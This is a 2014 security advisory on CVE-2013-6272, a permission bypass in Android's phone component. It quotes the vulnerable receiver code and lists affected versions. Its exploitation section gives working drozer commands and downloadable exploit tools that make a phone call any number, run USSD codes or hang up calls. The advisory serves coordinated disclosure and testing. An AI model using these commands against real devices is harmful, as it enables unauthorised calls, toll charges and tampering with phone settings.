CVE-2013-6272 com.android.phone

CVE-2013-6272 com.android.phone

Date: 2014-07-04 10:20:17

Introduction

We conducted a deep investigation of android components and created some CVEs and reported bugs to the Android Security Team in late 2013. Today we want to publish one reported and one similar vulnerability.

Credits

Authors: Marco Lux, Pedro Umbelino
Email: security@curesec.com

Affectect Versions:

Version SDK Affected
4.1.1 16 Vulnerable
4.1.2 16 Vulnerable
4.2.2 17 Vulnerable
4.3 18 Vulnerable
4.4.2 19 Vulnerable
4.4.3 19 Not Vulnerable
4.4.4 19 Not Vulnerable

Bug: com.android.phone.PhoneGlobals$NotificationBroadcastReceiver.

Browsing the code, you can get an idea about its purpose:

public static class NotificationBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); // TODO: use "if (VDBG)" here. Log.d(LOG_TAG, "Broadcast from Notification: " + action); if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) { PhoneUtils.hangup(PhoneGlobals.getInstance().mCM); } else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) { // Collapse the expanded notification and the notification item itself. closeSystemDialogs(context); clearMissedCallNotification(context); Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData()); callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); context.startActivity(callIntent); } else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) { // Collapse the expanded notification and the notification item itself. closeSystemDialogs(context); clearMissedCallNotification(context); Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData()); smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(smsIntent); } else { Log.w(LOG_TAG, "Received hang-up request from notification," + " but there's no call the system can hang up."); } }

What's going on here? There are three actions that this receiver deals with:

1) ACTION_HANG_UP_ONGOING_CALL is a custom action, previously defined in this class to terminate any ongoing calls. This means that, since the receiver has no defined permissions, whatever app sends this action to this receiver can effectively terminate any outgoing call, because this package has permission to do so and the code is executed in this package context.

2) ACTION_CALL_BACK_FROM_NOTIFICATION is also a custom action which leads to this receiver to immediately start a call using the powerful Intent.ACTION_CALL_PRIVILEGED intent. This means that any app can call any number, again without any permissions whatsoever. To notice that USSD codes can also be run, as well as calling emergency numbers and whichever action an user can do with the dial pad (except accessing android secret codes, these don't seem to run).

3) ACTION_SEND_SMS_FROM_NOTIFICATION opens an SMS box to send to a chosen number. User interaction is required, so it is the least interesting.

Interesting programmers comment on the class:

/** * Accepts broadcast Intents which will be prepared by {@link NotificationMgr} and thus * sent from framework's notification mechanism (which is outside Phone context). * This should be visible from outside, but shouldn't be in "exported" state. * * TODO: If possible merge this into PhoneAppBroadcastReceiver. */ public static class NotificationBroadcastReceiver extends BroadcastReceiver {

He explicitly says this "shouldn't be in 'exported' state" what it actually is. This allows us to exploit this issue.

We decided to publish this issue after we had been waiting several months for google to fix it and then went on to check out other code versions.

While in Version 4.1.X - SDK 16 PhoneGlobals.java does not exist, there is a file named PhoneApp.java.

Bug: PhoneApp.java

PhoneApp.java also contains a NotificationBroadcastReceiver class with the exact same code plus the exact same comment: "shouldn't be in "exported" state." - right.

So it seems like the bug was introduced in this version and existed ever since.

Another feature that is provided within this component is the ability to run SS and USSD codes (those that would normally require the user to press the SEND button after the code). Android secret codes will not work nor *#06# to see the IMEI, for example.

For SS and USSD codes you always need to press the SEND key after entering them, so they all should work depending on your mobile provider. For manufacture defined MMI this will not work, since the code gets executed immediately with the user pressing send.

Exploitation

For the audience to play, test and execute the vulnerability we provide the following tools:

CRT-Kolme

You can download “Curesec Research Team – Kolme (Callmeh)” at

https://www.curesec.com/data/CRT-Kolme.apk

Source Code: https://www.curesec.com/data/CRT-Kolme.7z

After installation just click on the Curesec Logo and the testscreen will appear:


thumbnail


Choose the SDK you want to test. If your phone is vulnerable, it will call the number 31337:


thumbnail


Drozer Exploits

In this section we provide a description to exploit the CVE-2013-6272 issue provided exploits for drozer.


thumbnail


#download drozer here https://www.mwrinfosecurity.com/products/drozer/ #unpack exploits to drozer modules directory tar xjf dz_exploits.tar.bz2 -C drozer/modules # forward tcp and connect to drozer adb forward tcp:31415 tcp:31415 drozer console connect #this conducts a phone call to the specified number dz> run curesec.exploit.callme1 -t #send code to the device for instance dz> run curesec.exploit.callme1 -c #hangup a phone call, if there are several calls going on, one kill per call dz> run curesec.exploit.callme1 -k kill


thumbnail


Drozer Commandline Foo

Hangup an ongoing call or conduct a phone call:

#this terminates any outgoing call! run app.broadcast.send --component com.android.phone com.android.phone.PhoneGlobals$NotificationBroadcastReceiver --action com.android.phone.ACTION_HANG_UP_ONGOING_CALL #THIS ALLOWS YOU TO CALL ANY NUMBER! run app.broadcast.send --component com.android.phone com.android.phone.PhoneGlobals$NotificationBroadcastReceiver --action com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION --data-uri tel:555444111

In order to make the codes work, you can use the following command:

run app.broadcast.send --component com.android.phone com.android.phone.PhoneGlobals$NotificationBroadcastReceiver --action com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION --data-uri tel:*%2343%23

The usual # symbol for the MMI codes has to be replaced by %23 to work properly.

FAQ

1. Why is this a bug?

Android normally has to grant permission so that your applications can conduct actions. If your installed application does not own the right to do a phone call, the Android OS should throw a permission denied.

However this bug is circumventing the situation and allows any malicous app to do a phone call, send mmi or ussd codes or hangup an ongoing call.

2. Is there an app to test this issue on my phone?

You can use the APK we published. You will find details in the next sections.

3. How would an attacker abuse this?

This bug can be abused by a malicious application. Take a simple game which is coming with this code. The game wont ask you for extra permissions to do a phone call to a toll number - but it is able to do it.

This is normally not possible without giving the app this special permission. But not only might it be disturbing or expensive for someone to call a toll number or getting ongoing calls hung up. It is also possible to send USSD codes.

The list of USSD/SS/MMI codes is long and there are several quite powerful ones like changing the flow of phone calls(forwarding), blocking your simcard, enable or disable caller anonymisation and so on.

Please note that Curesec GmbH is not responsible for any damage your device might suffer while you try to execute such codes.

4. Are tools which revoke permissions from apps blocking this attack?

No. As the app does not have the permission but is abusing a bug, such apps cannot easily protect you from this without the knowledge that this bug exists in another class on the system.

5. How can I contact you?

security@curesec.com

Timeline:

Date Comment Sender
10/24/2013 Initial Report of CVE-2013-6272 by Curesec Curesec
10/24/2013 Forwarded to the dedicated Team by Google Google
11/11/2013 Engineers working on the issue Google
17/01/2014 Engineers still working on the issue Google
23/01/2014 Issue is reported to be patched and integrated the next two weeks. Google
6/5/2014 Request if the issue is resolved now. No response yet. Curesec
4/7/2014 Public Disclosure of CVE-2013-6272 and CVE-2014-N/A Curesec

Downloads:

CRT-Kolme.apk (test application)
CRT-Kolme.7z (source code)
dz_exploit (exploit archive cve-2013-6271, cve-2013-6272 and cve-2014-n/a)